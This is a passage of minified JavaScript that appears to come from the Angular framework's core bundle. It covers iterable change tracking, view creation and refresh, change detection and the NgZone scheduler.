a=0;a<this.length;a++)i=t[a],s=this._trackByFn(a,i),null!==n&&Object.is(n.trackById,s)?(r&&(n=this._verifyReinsertion(n,i,s,a)),Object.is(n.item,i)||this._addIdentityChange(n,i)):(n=this._mismatch(n,i,s,a),r=!0),n=n._next}else o=0,function cM(e,t){if(Array.isArray(e))for(let n=0;n<e.length;n++)t(e[n]);else{const n=e[Symbol.iterator]();let r;for(;!(r=n.next()).done;)t(r.value)}}(t,a=>{s=this._trackByFn(o,a),null!==n&&Object.is(n.trackById,s)?(r&&(n=this._verifyReinsertion(n,a,s,o)),Object.is(n.item,a)||this._addIdentityChange(n,a)):(n=this._mismatch(n,a,s,o),r=!0),n=n._next,o++}),this.length=o;return this._truncate(n),this.collection=t,this.isDirty}get isDirty(){return null!==this._additionsHead||null!==this._movesHead||null!==this._removalsHead||null!==this._identityChangesHead}_reset(){if(this.isDirty){let t;for(t=this._previousItHead=this._itHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._additionsHead;null!==t;t=t._nextAdded)t.previousIndex=t.currentIndex;for(this._additionsHead=this._additionsTail=null,t=this._movesHead;null!==t;t=t._nextMoved)t.previousIndex=t.currentIndex;this._movesHead=this._movesTail=null,this._removalsHead=this._removalsTail=null,this._identityChangesHead=this._identityChangesTail=null}}_mismatch(t,n,r,o){let i;return null===t?i=this._itTail:(i=t._prev,this._remove(t)),null!==(t=null===this._unlinkedRecords?null:this._unlinkedRecords.get(r,null))?(Object.is(t.item,n)||this._addIdentityChange(t,n),this._reinsertAfter(t,i,o)):null!==(t=null===this._linkedRecords?null:this._linkedRecords.get(r,o))?(Object.is(t.item,n)||this._addIdentityChange(t,n),this._moveAfter(t,i,o)):t=this._addAfter(new fM(n,r),i,o),t}_verifyReinsertion(t,n,r,o){let i=null===this._unlinkedRecords?null:this._unlinkedRecords.get(r,null);return null!==i?t=this._reinsertAfter(i,t._prev,o):t.currentIndex!=o&&(t.currentIndex=o,this._addToMoves(t,o)),t}_truncate(t){for(;null!==t;){const n=t._next;this._addToRemovals(this._unlink(t)),t=n}null!==this._unlinkedRecords&&this._unlinkedRecords.clear(),null!==this._additionsTail&&(this._additionsTail._nextAdded=null),null!==this._movesTail&&(this._movesTail._nextMoved=null),null!==this._itTail&&(this._itTail._next=null),null!==this._removalsTail&&(this._removalsTail._nextRemoved=null),null!==this._identityChangesTail&&(this._identityChangesTail._nextIdentityChange=null)}_reinsertAfter(t,n,r){null!==this._unlinkedRecords&&this._unlinkedRecords.remove(t);const o=t._prevRemoved,i=t._nextRemoved;return null===o?this._removalsHead=i:o._nextRemoved=i,null===i?this._removalsTail=o:i._prevRemoved=o,this._insertAfter(t,n,r),this._addToMoves(t,r),t}_moveAfter(t,n,r){return this._unlink(t),this._insertAfter(t,n,r),this._addToMoves(t,r),t}_addAfter(t,n,r){return this._insertAfter(t,n,r),this._additionsTail=null===this._additionsTail?this._additionsHead=t:this._additionsTail._nextAdded=t,t}_insertAfter(t,n,r){const o=null===n?this._itHead:n._next;return t._next=o,t._prev=n,null===o?this._itTail=t:o._prev=t,null===n?this._itHead=t:n._next=t,null===this._linkedRecords&&(this._linkedRecords=new xm),this._linkedRecords.put(t),t.currentIndex=r,t}_remove(t){return this._addToRemovals(this._unlink(t))}_unlink(t){null!==this._linkedRecords&&this._linkedRecords.remove(t);const n=t._prev,r=t._next;return null===n?this._itHead=r:n._next=r,null===r?this._itTail=n:r._prev=n,t}_addToMoves(t,n){return t.previousIndex===n||(this._movesTail=null===this._movesTail?this._movesHead=t:this._movesTail._nextMoved=t),t}_addToRemovals(t){return null===this._unlinkedRecords&&(this._unlinkedRecords=new xm),this._unlinkedRecords.put(t),t.currentIndex=null,t._nextRemoved=null,null===this._removalsTail?(this._removalsTail=this._removalsHead=t,t._prevRemoved=null):(t._prevRemoved=this._removalsTail,this._removalsTail=this._removalsTail._nextRemoved=t),t}_addIdentityChange(t,n){return t.item=n,this._identityChangesTail=null===this._identityChangesTail?this._identityChangesHead=t:this._identityChangesTail._nextIdentityChange=t,t}}class fM{constructor(t,n){this.item=t,this.trackById=n,this.currentIndex=null,this.previousIndex=null,this._nextPrevious=null,this._prev=null,this._next=null,this._prevDup=null,this._nextDup=null,this._prevRemoved=null,this._nextRemoved=null,this._nextAdded=null,this._nextMoved=null,this._nextIdentityChange=null}}class hM{constructor(){this._head=null,this._tail=null}add(t){null===this._head?(this._head=this._tail=t,t._nextDup=null,t._prevDup=null):(this._tail._nextDup=t,t._prevDup=this._tail,t._nextDup=null,this._tail=t)}get(t,n){let r;for(r=this._head;null!==r;r=r._nextDup)if((null===n||n<=r.currentIndex)&&Object.is(r.trackById,t))return r;return null}remove(t){const n=t._prevDup,r=t._nextDup;return null===n?this._head=r:n._nextDup=r,null===r?this._tail=n:r._prevDup=n,null===this._head}}class xm{constructor(){this.map=new Map}put(t){const n=t.trackById;let r=this.map.get(n);r||(r=new hM,this.map.set(n,r)),r.add(t)}get(t,n){const o=this.map.get(t);return o?o.get(t,n):null}remove(t){const n=t.trackById;return this.map.get(n).remove(t)&&this.map.delete(n),t}get isEmpty(){return 0===this.map.size}clear(){this.map.clear()}}function Fm(e,t,n){const r=e.previousIndex;if(null===r)return r;let o=0;return n&&r<n.length&&(o=n[r]),r+t+o}function Lm(){return new aa([new Om])}let aa=(()=>{class e{static#e=this.\u0275prov=V({token:e,providedIn:"root",factory:Lm});constructor(n){this.factories=n}static create(n,r){if(null!=r){const o=r.factories.slice();n=n.concat(o)}return new e(n)}static extend(n){return{provide:e,useFactory:r=>e.create(n,r||Lm()),deps:[[e,new Vc,new jc]]}}find(n){const r=this.factories.find(o=>o.supports(n));if(null!=r)return r;throw new E(901,!1)}}return e})();function di(e,t,n,r,o=!1){for(;null!==n;){const i=t[n.index];null!==i&&r.push(oe(i)),Ae(i)&&Vm(i,r);const s=n.type;if(8&s)di(e,t,n.child,r);else if(32&s){const a=su(n,t);let l;for(;l=a();)r.push(l)}else if(16&s){const a=um(t,n);if(Array.isArray(a))r.push(...a);else{const l=ti(t[ce]);di(l[w],l,a,r,!0)}}n=o?n.projectionNext:n.next}return r}function Vm(e,t){for(let n=ve;n<e.length;n++){const r=e[n],o=r[w].firstChild;null!==o&&di(r[w],r,o,t)}e[$t]!==e[fe]&&t.push(e[$t])}let Bm=[];const EM={version:0,lastCleanEpoch:0,dirty:!1,producerNode:void 0,producerLastReadVersion:void 0,producerIndexOfThis:void 0,nextProducerIndex:0,liveConsumerNode:void 0,liveConsumerIndexOfThis:void 0,consumerAllowSignalWrites:!1,consumerIsAlwaysLive:!1,producerMustRecompute:()=>!1,producerRecomputeValue:()=>{},consumerMarkedDirty:()=>{},consumerOnSignalRead:()=>{},consumerIsAlwaysLive:!0,consumerMarkedDirty:e=>{vs(e.lView)},consumerOnSignalRead(){this.lView[Wn]=this}};function Ou(e){return e.ngOriginalError}class ln{constructor(){this._console=console}handleError(t){const n=this._findOriginalError(t);this._console.error("ERROR",t),n&&this._console.error("ORIGINAL ERROR",n)}_findOriginalError(t){let n=t&&Ou(t);for(;n&&Ou(n);)n=Ou(n);return n||null}}const Um=new b("",{providedIn:"root",factory:()=>!1}),j={};function X(e){Wm(z(),v(),Ge()+e,!1)}function Wm(e,t,n,r){if(!r)if(3==(3&t[S])){const i=e.preOrderCheckHooks;null!==i&&Is(t,i,n)}else{const i=e.preOrderHooks;null!==i&&bs(t,i,0,n)}Zn(n)}function L(e,t=U.Default){const n=v();return null===n?M(e,t):ag(Y(),n,N(e),t)}function ca(e,t,n,r,o,i,s,a,l,c,u){const d=t.blueprint.slice();return d[fe]=o,d[S]=140|r,(null!==c||e&&2048&e[S])&&(d[S]|=2048),Lp(d),d[le]=d[br]=e,d[J]=n,d[Ir]=s||e&&e[Ir],d[k]=a||e&&e[k],d[$e]=l||e&&e[$e]||null,d[Le]=i,d[Vo]=function KS(){return WS++}(),d[Bt]=u,d[Tp]=c,d[ce]=2==t.type?e[ce]:d,d}function Jr(e,t,n,r,o){let i=e.data[t];if(null===i)i=function xu(e,t,n,r,o){const i=$p(),s=Dc(),l=e.data[t]=function xM(e,t,n,r,o,i){let s=t?t.injectorIndex:-1,a=0;return function Ar(){return null!==x.skipHydrationRootTNode}()&&(a|=128),{type:n,index:r,insertBeforeIndex:null,injectorIndex:s,directiveStart:-1,directiveEnd:-1,directiveStylingLast:-1,componentOffset:-1,propertyBindings:null,flags:a,providerIndexes:0,value:o,attrs:i,mergedAttrs:null,localNames:null,initialInputs:void 0,inputs:null,outputs:null,tView:null,next:null,prev:null,projectionNext:null,child:null,parent:t,projection:null,styles:null,stylesWithoutHost:null,residualStyles:void 0,classes:null,classesWithoutHost:null,residualClasses:void 0,classBindings:0,styleBindings:0}}(0,s?i:i&&i.parent,n,t,r,o);return null===e.firstChild&&(e.firstChild=l),null!==i&&(s?null==i.child&&null!==l.parent&&(i.child=l):null===i.next&&(i.next=l,l.prev=i)),l}(e,t,n,r,o),function Tb(){return x.lFrame.inI18n}()&&(i.flags|=32);else if(64&i.type){i.type=n,i.value=r,i.attrs=o;const s=function Uo(){const e=x.lFrame,t=e.currentTNode;return e.isParent?t:t.parent}();i.injectorIndex=null===s?-1:s.injectorIndex}return Gt(i,!0),i}function fi(e,t,n,r){if(0===n)return-1;const o=t.length;for(let i=0;i<n;i++)t.push(r),e.blueprint.push(r),e.data.push(null);return o}function Km(e,t,n,r,o){const i=Ge(),s=2&r;try{Zn(-1),s&&t.length>O&&Wm(e,t,O,!1),Ut(s?2:0,o),n(r,o)}finally{Zn(i),Ut(s?3:1,o)}}function Fu(e,t,n){if(dc(t)){const r=de(null);try{const i=t.directiveEnd;for(let s=t.directiveStart;s<i;s++){const a=e.data[s];a.contentQueries&&a.contentQueries(1,n[s],s)}}finally{de(r)}}}function ku(e,t,n){Hp()&&(function HM(e,t,n,r){const o=n.directiveStart,i=n.directiveEnd;Kn(n)&&function KM(e,t,n){const r=Ue(t,e),o=Qm(n);let s=16;n.signals?s=4096:n.onPush&&(s=64);const a=ua(e,ca(e,o,null,s,r,t,null,e[Ir].rendererFactory.createRenderer(r,n),null,null,null));e[t.index]=a}(t,n,e.data[o+n.componentOffset]),e.firstCreatePass||Ts(n,t),je(r,t);const s=n.initialInputs;for(let a=o;a<i;a++){const l=e.data[a],c=Yn(t,e,a,n);je(c,t),null!==s&&QM(0,a-o,c,l,0,s),St(l)&&(ot(n.index,t)[J]=Yn(t,e,a,n))}}(e,t,n,Ue(n,t)),64==(64&n.flags)&&ey(e,t,n))}function Lu(e,t,n=Ue){const r=t.localNames;if(null!==r){let o=t.index+1;for(let i=0;i<r.length;i+=2){const s=r[i+1],a=-1===s?n(t,e):e[s];e[o++]=a}}}function Qm(e){const t=e.tView;return null===t||t.incompleteFirstPass?e.tView=ju(1,null,e.template,e.decls,e.vars,e.directiveDefs,e.pipeDefs,e.viewQuery,e.schemas,e.consts,e.id):t}function ju(e,t,n,r,o,i,s,a,l,c,u){const d=O+r,f=d+o,h=function MM(e,t){const n=[];for(let r=0;r<t;r++)n.push(r<e?null:j);return n}(d,f),p="function"==typeof c?c():c;return h[w]={type:e,blueprint:h,template:n,queries:null,viewQuery:a,declTNode:t,data:h.slice().fill(null,d),bindingStartIndex:d,expandoStartIndex:f,hostBindingOpCodes:null,firstCreatePass:!0,firstUpdatePass:!0,staticViewQueries:!1,staticContentQueries:!1,preOrderHooks:null,preOrderCheckHooks:null,contentHooks:null,contentCheckHooks:null,viewHooks:null,viewCheckHooks:null,destroyHooks:null,cleanup:null,contentQueries:null,components:null,directiveRegistry:"function"==typeof i?i():i,pipeRegistry:"function"==typeof s?s():s,firstChild:null,schemas:l,consts:p,incompleteFirstPass:!1,ssrId:u}}let Zm=e=>null;function Ym(e,t,n,r){for(let o in e)if(e.hasOwnProperty(o)){n=null===n?{}:n;const i=e[o];null===r?Xm(n,t,o,i):r.hasOwnProperty(o)&&Xm(n,t,r[o],i)}return n}function Xm(e,t,n,r){e.hasOwnProperty(n)?e[n].push(t,r):e[n]=[t,r]}function lt(e,t,n,r,o,i,s,a){const l=Ue(t,n);let u,c=t.inputs;!a&&null!=c&&(u=c[r])?(Uu(e,n,u,r,o),Kn(t)&&function LM(e,t){const n=ot(t,e);16&n[S]||(n[S]|=64)}(n,t.index)):3&t.type&&(r=function kM(e){return"class"===e?"className":"for"===e?"htmlFor":"formaction"===e?"formAction":"innerHtml"===e?"innerHTML":"readonly"===e?"readOnly":"tabindex"===e?"tabIndex":e}(r),o=null!=s?s(o,t.value||"",r):o,i.setProperty(l,r,o))}function Vu(e,t,n,r){if(Hp()){const o=null===r?null:{"":-1},i=function UM(e,t){const n=e.directiveRegistry;let r=null,o=null;if(n)for(let i=0;i<n.length;i++){const s=n[i];if(_p(t,s.selectors,!1))if(r||(r=[]),St(s))if(null!==s.findHostDirectiveDefs){const a=[];o=o||new Map,s.findHostDirectiveDefs(s,a,o),r.unshift(...a,s),Bu(e,t,a.length)}else r.unshift(s),Bu(e,t,0);else o=o||new Map,s.findHostDirectiveDefs?.(s,r,o),r.push(s)}return null===r?null:[r,o]}(e,n);let s,a;null===i?s=a=null:[s,a]=i,null!==s&&Jm(e,t,n,s,o,a),o&&function zM(e,t,n){if(t){const r=e.localNames=[];for(let o=0;o<t.length;o+=2){const i=n[t[o+1]];if(null==i)throw new E(-301,!1);r.push(t[o],i)}}}(n,r,o)}n.mergedAttrs=ko(n.mergedAttrs,n.attrs)}function Jm(e,t,n,r,o,i){for(let c=0;c<r.length;c++)Pc(Ts(n,t),e,r[c].type);!function qM(e,t,n){e.flags|=1,e.directiveStart=t,e.directiveEnd=t+n,e.providerIndexes=t}(n,e.data.length,r.length);for(let c=0;c<r.length;c++){const u=r[c];u.providersResolver&&u.providersResolver(u)}let s=!1,a=!1,l=fi(e,t,r.length,null);for(let c=0;c<r.length;c++){const u=r[c];n.mergedAttrs=ko(n.mergedAttrs,u.hostAttrs),WM(e,n,t,l,u),GM(l,u,o),null!==u.contentQueries&&(n.flags|=4),(null!==u.hostBindings||null!==u.hostAttrs||0!==u.hostVars)&&(n.flags|=64);const d=u.type.prototype;!s&&(d.ngOnChanges||d.ngOnInit||d.ngDoCheck)&&((e.preOrderHooks??=[]).push(n.index),s=!0),!a&&(d.ngOnChanges||d.ngDoCheck)&&((e.preOrderCheckHooks??=[]).push(n.index),a=!0),l++}!function FM(e,t,n){const o=t.directiveEnd,i=e.data,s=t.attrs,a=[];let l=null,c=null;for(let u=t.directiveStart;u<o;u++){const d=i[u],f=n?n.get(d):null,p=f?f.outputs:null;l=Ym(d.inputs,u,l,f?f.inputs:null),c=Ym(d.outputs,u,c,p);const g=null===l||null===s||Ep(t)?null:ZM(l,u,s);a.push(g)}null!==l&&(l.hasOwnProperty("class")&&(t.flags|=8),l.hasOwnProperty("style")&&(t.flags|=16)),t.initialInputs=a,t.inputs=l,t.outputs=c}(e,n,i)}function ey(e,t,n){const r=n.directiveStart,o=n.directiveEnd,i=n.index,s=function Nb(){return x.lFrame.currentDirectiveIndex}();try{Zn(i);for(let a=r;a<o;a++){const l=e.data[a],c=t[a];_c(a),(null!==l.hostBindings||0!==l.hostVars||null!==l.hostAttrs)&&$M(l,c)}}finally{Zn(-1),_c(s)}}function $M(e,t){null!==e.hostBindings&&e.hostBindings(1,t)}function Bu(e,t,n){t.componentOffset=n,(e.components??=[]).push(t.index)}function GM(e,t,n){if(n){if(t.exportAs)for(let r=0;r<t.exportAs.length;r++)n[t.exportAs[r]]=e;St(t)&&(n[""]=e)}}function WM(e,t,n,r,o){e.data[r]=o;const i=o.factory||(o.factory=Qn(o.type)),s=new zo(i,St(o),L);e.blueprint[r]=s,n[r]=s,function VM(e,t,n,r,o){const i=o.hostBindings;if(i){let s=e.hostBindingOpCodes;null===s&&(s=e.hostBindingOpCodes=[]);const a=~t.index;(function BM(e){let t=e.length;for(;t>0;){const n=e[--t];if("number"==typeof n&&n<0)return n}return 0})(s)!=a&&s.push(a),s.push(n,r,i)}}(e,t,r,fi(e,n,o.hostVars,j),o)}function Qt(e,t,n,r,o,i){const s=Ue(e,t);!function Hu(e,t,n,r,o,i,s){if(null==i)e.removeAttribute(t,o,n);else{const a=null==s?F(i):s(i,r||"",o);e.setAttribute(t,o,a,n)}}(t[k],s,i,e.value,n,r,o)}function QM(e,t,n,r,o,i){const s=i[t];if(null!==s)for(let a=0;a<s.length;)ty(r,n,s[a++],s[a++],s[a++])}function ty(e,t,n,r,o){const i=de(null);try{const s=e.inputTransforms;null!==s&&s.hasOwnProperty(r)&&(o=s[r].call(t,o)),null!==e.setInput?e.setInput(t,o,n,r):t[r]=o}finally{de(i)}}function ZM(e,t,n){let r=null,o=0;for(;o<n.length;){const i=n[o];if(0!==i)if(5!==i){if("number"==typeof i)break;if(e.hasOwnProperty(i)){null===r&&(r=[]);const s=e[i];for(let a=0;a<s.length;a+=2)if(s[a]===t){r.push(i,s[a+1],n[o+1]);break}}o+=2}else o+=2;else o+=4}return r}function ny(e,t,n,r){return[e,!0,0,t,null,r,null,n,null,null]}function ry(e,t){const n=e.contentQueries;if(null!==n){const r=de(null);try{for(let o=0;o<n.length;o+=2){const s=n[o+1];if(-1!==s){const a=e.data[s];Cc(n[o]),a.contentQueries(2,t[s],s)}}}finally{de(r)}}}function ua(e,t){return e[Lo]?e[Sp][bt]=t:e[Lo]=t,e[Sp]=t,t}function $u(e,t,n){Cc(0);const r=de(null);try{t(e,n)}finally{de(r)}}function da(e,t){const n=e[$e],r=n?n.get(ln,null):null;r&&r.handleError(t)}function Uu(e,t,n,r,o){for(let i=0;i<n.length;){const s=n[i++],a=n[i++];ty(e.data[s],t[s],r,a,o)}}function ay(e,t,n,r){const o=t[S];if(256==(256&o))return;t[Ir].inlineEffectRunner?.flush(),Ic(t);let s=null,a=null;(function JM(e){return 2!==e.type})(e)&&(a=function yM(e){return e[Wn]??function vM(e){const t=Bm.pop()??Object.create(EM);return t.lView=e,t}(e)}(t),s=function _h(e){return e&&(e.nextProducerIndex=0),de(e)}(a));try{Lp(t),function zp(e){return x.lFrame.bindingIndex=e}(e.bindingStartIndex),null!==n&&Km(e,t,n,2,r);const l=3==(3&o);if(l){const d=e.preOrderCheckHooks;null!==d&&Is(t,d,null)}else{const d=e.preOrderHooks;null!==d&&bs(t,d,0,null),Sc(t,0)}if(function e0(e){for(let t=Xg(e);null!==t;t=Jg(t)){if(!(t[S]&Mr.HasTransplantedViews))continue;const n=t[Tr];for(let r=0;r<n.length;r++){yb(n[r])}}}(t),ly(t,0),null!==e.contentQueries&&ry(e,t),l){const d=e.contentCheckHooks;null!==d&&Is(t,d)}else{const d=e.contentHooks;null!==d&&bs(t,d,1),Sc(t,1)}!function TM(e,t){const n=e.hostBindingOpCodes;if(null!==n)try{for(let r=0;r<n.length;r++){const o=n[r];if(o<0)Zn(~o);else{const i=o,s=n[++r],a=n[++r];Mb(s,i),a(2,t[i])}}}finally{Zn(-1)}}(e,t);const c=e.components;null!==c&&dy(t,c,0);const u=e.viewQuery;if(null!==u&&$u(2,u,r),l){const d=e.viewCheckHooks;null!==d&&Is(t,d)}else{const d=e.viewHooks;null!==d&&bs(t,d,2),Sc(t,2)}if(!0===e.firstUpdatePass&&(e.firstUpdatePass=!1),t[ps]){for(const d of t[ps])d();t[ps]=null}t[S]&=-73}catch(l){throw vs(t),l}finally{null!==a&&(function wh(e,t){if(de(t),e&&void 0!==e.producerNode&&void 0!==e.producerIndexOfThis&&void 0!==e.producerLastReadVersion){if(No(e))for(let n=e.nextProducerIndex;n<e.producerNode.length;n++)Ji(e.producerNode[n],e.producerIndexOfThis[n]);for(;e.producerNode.length>e.nextProducerIndex;)e.producerNode.pop(),e.producerLastReadVersion.pop(),e.producerIndexOfThis.pop()}}(a,s),function DM(e){e.lView[Wn]!==e&&(e.lView=null,Bm.push(e))}(a)),bc()}}function ly(e,t){for(let n=Xg(e);null!==n;n=Jg(n)){n[S]&=~Mr.HasChildViewsToRefresh;for(let r=ve;r<n.length;r++)cy(n[r],t)}}function t0(e,t,n){cy(ot(t,e),n)}function cy(e,t){yc(e)&&uy(e,t)}function uy(e,t){const r=e[w],o=e[S],i=e[Wn];let s=!!(0===t&&16&o);if(s||=!!(64&o&&0===t),s||=!!(1024&o),s||=!(!i?.dirty||!Al(i)),i&&(i.dirty=!1),e[S]&=-9217,s)ay(r,e,r.template,e[J]);else if(8192&o){ly(e,1);const a=r.components;null!==a&&dy(e,a,1)}}function dy(e,t,n){for(let r=0;r<t.length;r++)t0(e,t[r],n)}function hi(e){for(;e;){e[S]|=64;const t=ti(e);if(fc(e)&&!t)return e;e=t}return null}class pi{get rootNodes(){const t=this._lView,n=t[w];return di(n,t,n.firstChild,[])}constructor(t,n,r=!0){this._lView=t,this._cdRefInjectingView=n,this.notifyErrorHandler=r,this._appRef=null,this._attachedToViewContainer=!1}get context(){return this._lView[J]}set context(t){this._lView[J]=t}get destroyed(){return 256==(256&this._lView[S])}destroy(){if(this._appRef)this._appRef.detachView(this);else if(this._attachedToViewContainer){const t=this._lView[le];if(Ae(t)){const n=t[8],r=n?n.indexOf(this):-1;r>-1&&(ni(t,r),As(n,r))}this._attachedToViewContainer=!1}qs(this._lView[w],this._lView)}onDestroy(t){!function Ds(e,t){if(256==(256&e[S]))throw new E(911,!1);null===e[bn]&&(e[bn]=[]),e[bn].push(t)}(this._lView,t)}markForCheck(){hi(this._cdRefInjectingView||this._lView)}detach(){this._lView[S]&=-129}reattach(){Vp(this._lView),this._lView[S]|=128}detectChanges(){!function zu(e,t=!0){const n=e[Ir],r=n.rendererFactory,o=n.afterRenderEventManager;r.begin?.(),o?.begin();try{const s=e[w];ay(s,e,s.template,e[J]),function XM(e){let t=0;for(;9216&e[S]||e[Wn]?.dirty;){if(100===t)throw new E(103,!1);t++,uy(e,1)}}(e)}catch(s){throw t&&da(e,s),s}finally{r.end?.(),n.inlineEffectRunner?.flush(),o?.end()}}(this._lView,this.notifyErrorHandler)}checkNoChanges(){}attachToViewContainerRef(){if(this._appRef)throw new E(902,!1);this._attachedToViewContainer=!0}detachFromAppRef(){this._appRef=null,function lT(e,t){oi(e,t,t[k],2,null,null)}(this._lView[w],this._lView)}attachToAppRef(t){if(this._attachedToViewContainer)throw new E(902,!1);this._appRef=t}}let Gu=(()=>{class e{static#e=this.__NG_ELEMENT_ID__=n0}return e})();function n0(e){return function r0(e,t,n){if(Kn(e)&&!n){const r=ot(e.index,t);return new pi(r,r)}return 47&e.type?new pi(t[ce],t):null}(Y(),v(),16==(16&e))}function Wu(e){return t=>{setTimeout(e,void 0,t)}}const un=class p0 extends Po{constructor(t=!1){super(),this.__isAsync=t}emit(t){super.next(t)}subscribe(t,n,r){let o=t,i=n||(()=>null),s=r;if(t&&"object"==typeof t){const l=t;o=l.next?.bind(l),i=l.error?.bind(l),s=l.complete?.bind(l)}this.__isAsync&&(i=Wu(i),o&&(o=Wu(o)),s&&(s=Wu(s)));const a=super.subscribe({next:o,error:i,complete:s});return t instanceof Ft&&t.add(a),a}};function hy(...e){}class ee{constructor({enableLongStackTrace:t=!1,shouldCoalesceEventChangeDetection:n=!1,shouldCoalesceRunChangeDetection:r=!1}){if(this.hasPendingMacrotasks=!1,this.hasPendingMicrotasks=!1,this.isStable=!0,this.onUnstable=new un(!1),this.onMicrotaskEmpty=new un(!1),this.onStable=new un(!1),this.onError=new un(!1),typeof Zone>"u")throw new E(908,!1);Zone.assertZonePatched();const o=this;o._nesting=0,o._outer=o._inner=Zone.current,Zone.TaskTrackingZoneSpec&&(o._inner=o._inner.fork(new Zone.TaskTrackingZoneSpec)),t&&Zone.longStackTraceZoneSpec&&(o._inner=o._inner.fork(Zone.longStackTraceZoneSpec)),o.shouldCoalesceEventChangeDetection=!r&&n,o.shouldCoalesceRunChangeDetection=r,o.lastRequestAnimationFrameId=-1,o.nativeRequestAnimationFrame=function g0(){const e="function"==typeof re.requestAnimationFrame;let t=re[e?"requestAnimationFrame":"setTimeout"],n=re[e?"cancelAnimationFrame":"clearTimeout"];if(typeof Zone<"u"&&t&&n){const r=t[Zone.__symbol__("OriginalDelegate")];r&&(t=r);const o=n[Zone.__symbol__("OriginalDelegate")];o&&(n=o)}return{nativeRequestAnimationFrame:t,nativeCancelAnimationFrame:n}}().nativeRequestAnimationFrame,function v0(e){const t=()=>{!function y0(e){e.isCheckStableRunning||-1!==e.lastRequestAnimationFrameId||(e.lastRequestAnimationFrameId=e.nativeRequestAnimationFrame.call(re,()=>{e.fakeTopEventTask||(e.fakeTopEventTask=Zone.root.scheduleEventTask("fakeTopEventTask",()=>{e.lastRequestAnimationFrameId=-1,Qu(e),e.isCheckStableRunning=!0,Ku(e),e.isCheckStableRunning=!1},void 0,()=>{},()=>{})),e.fakeTopEventTask.invoke()}),Qu(e))}(e)};e._inner=e._inner.fork({name:"angular",properties:{isAngularZone:!0},onInvokeTask:(n,r,o,i,s,a)=>{if(function E0(e){return!(!Array.isArray(e)||1!==e.length)&&!0===e[0].data?.__ignore_ng_zone__}(a))return n.invokeTask(o,i,s,a);try{return py(e),n.invokeTask(o,i,s,a)}finally{(e.shouldCoalesceEventChangeDetection&&"eventTask"===i.type||e.shouldCoalesceRunChangeDetection)&&t(),gy(e)}},onInvoke:(n,r,o,i,s,a,l)=>{try{return py(e),n.invoke(o,i,s,a,l)}finally{e.shouldCoalesceRunChangeDetection&&t(),gy(e)}},onHasTask:(n,r,o,i)=>{n.hasTask(o,i),r===o&&("microTask"==i.change?(e._hasPendingMicrotasks=i.microTask,Qu(e),Ku(e)):"macroTask"==i.change&&(e.hasPendingMacrotasks=i.macroTask))},onHandleError:(n,r,o,i)=>(n.handleError(o,i),e.runOutsideAngular(()=>e.onError.emit(i)),!1)})}(o)}static isInAngularZone(){return typeof Zone<"u"&&!0===Zone.current.get("isAngularZone")}static assertInAngularZone(){if(!ee.isInAngularZone())throw new E(909,!1)}static assertNotInAngularZone(){if(ee.isInAngularZone())throw new E(909,!1)}run(t,n,r){return this._inner.run(t,n,r)}runTask(t,n,r,o){const i=this._inner,s=i.scheduleEventTask("NgZoneEvent: "+o,t,m0,hy,hy);try{return i.runTask(s,n,r)}finally{i.cancelTask(s)}}runGuarded(t,n,r){return this._inner.runGuarded(t,n,r)}runOutsideAngular(t){return this._outer.run(t)}}const m0={};function Ku(e){if(0==e._nesting&&!e.hasPendingMicrotasks&&!e.isStable)try{e._nesting++,e.onMicrotaskEmpty.emit(null)}finally{if(e._nesting--,!e.hasPendingMicrotasks)try{e.runOutsideAngular(()=>e.onStable.emit(null))}finally{e.isStable=!0}}}function Qu(e){e.hasPendingMicrotasks=!!(e._hasPendingMicrotasks||(e.shouldCoalesceEventChangeDetection||e.shouldCoalesceRunChangeDetection)&&-1!==e.lastRequestAnimationFrameId)}function py(e){e._nesting++,e.isStable&&(e.isStable=!1,e.onUnstable.emit(null))}function gy(e){e._nesting--,Ku(e)}class D0{constructor(){this.hasPendingMicrotasks=!1,this.hasPendingMacrotasks=!1,this.isStable=!0,this.onUnstable=new un,this.onMicrotaskEmpty=new un,this.onStable=new un,this.onError=new un}run(t,n,r){return t.apply(n,r)}runGuarded(t,n,r){return t.apply(n,r)}runOutsideAngular(t){return t()}runTask(t,n,r,o){return t.apply(n,r)}}const my=new b("",{providedIn:"root",factory:yy});function yy(){const e=B(ee);let t=!0;return rp(new Fe(o=>{t=e.isStable&&!e.hasPendingMacrotasks&&!e.hasPendingMicrotasks,e.runOutsideAngular(()=>{o.next(t),o.complete()})}),new Fe(o=>{let i;e.runOutsideAngular(()=>{i=e.onStable.subscribe(()=>{ee.assertNotInAngularZone(),queueMicrotask(()=>{!t&&!e.hasPendingMacrotasks&&!e.hasPendingMicrotasks&&(t=!0,o.next(!0))})})});const s=e.onUnstable.subscribe(()=>{ee.assertInAngularZone(),t&&(t=!1,e.runOutsideAngular(()=>{o.next(!1)}))});return()=>{i.unsubscribe(),s.unsubscribe()}}).pipe(op()))}let fa=(()=>{class e{constructor(){this.renderDepth=0,this.handler=null,this.internalCallbacks=[]}begin(){this.handler?.validateBegin(),this.renderDepth++}end(){if(this.renderDepth--,0===this.renderDepth){for(const n of this.internalCallbacks)n();this.internalCallbacks.length=0,this.handler?.execute()}}ngOnDestroy(){this.handler?.destroy(),this.handler=null,this.internalCallbacks.length=0}static#e=this.\u0275prov=V({token:e,providedIn:"root",factory:()=>new e})}return e})();function C0(e,t){const n=ot(t,e),r=n[w];!function I0(e,t){for(let n=t.length;n<e.blueprint.length;n++)t.push(e.blueprint[n])}(r,n);const o=n[fe];null!==o&&null===n[Bt]&&(n[Bt]=Tu(o,n[$e])),Zu(r,n,n[J])}function Zu(e,t,n){Ic(t);try{const r=e.viewQuery;null!==r&&$u(1,r,n);const o=e.template;null!==o&&Km(e,t,o,1,n),e.firstCreatePass&&(e.firstCreatePass=!1),e.staticContentQueries&&ry(e,t),e.staticViewQueries&&$u(2,e.viewQuery,n);const i=e.components;null!==i&&function b0(e,t){for(let n=0;n<t.length;n++)C0(e,t[n])}(t,i)}catch(r){throw e.firstCreatePass&&(e.incompleteFirstPass=!0,e.firstCreatePass=!1),r}finally{t[S]&=-5,bc()}}function ha(e,t,n){let r=n?e.styles:null,o=n?e.classes:null,i=0;if(null!==t)for(let s=0;s<t.length;s++){const a=t[s];"number"==typeof a?i=a:1==i?o=Kl(o,a):2==i&&(r=Kl(r,a+": "+t[++s]+";"))}n?e.styles=r:e.stylesWithoutHost=r,n?e.classes=o:e.classesWithoutHost=o}class wy extends Zr{constructor(t){super(),this.ngModule=t}resolveComponentFactory(t){const n=H(t);return new gi(n,this.ngModule)}}function Cy(e){const t=[];for(let n in e)e.hasOwnProperty(n)&&t.push({propName:e[n],templateName:n});return t}class 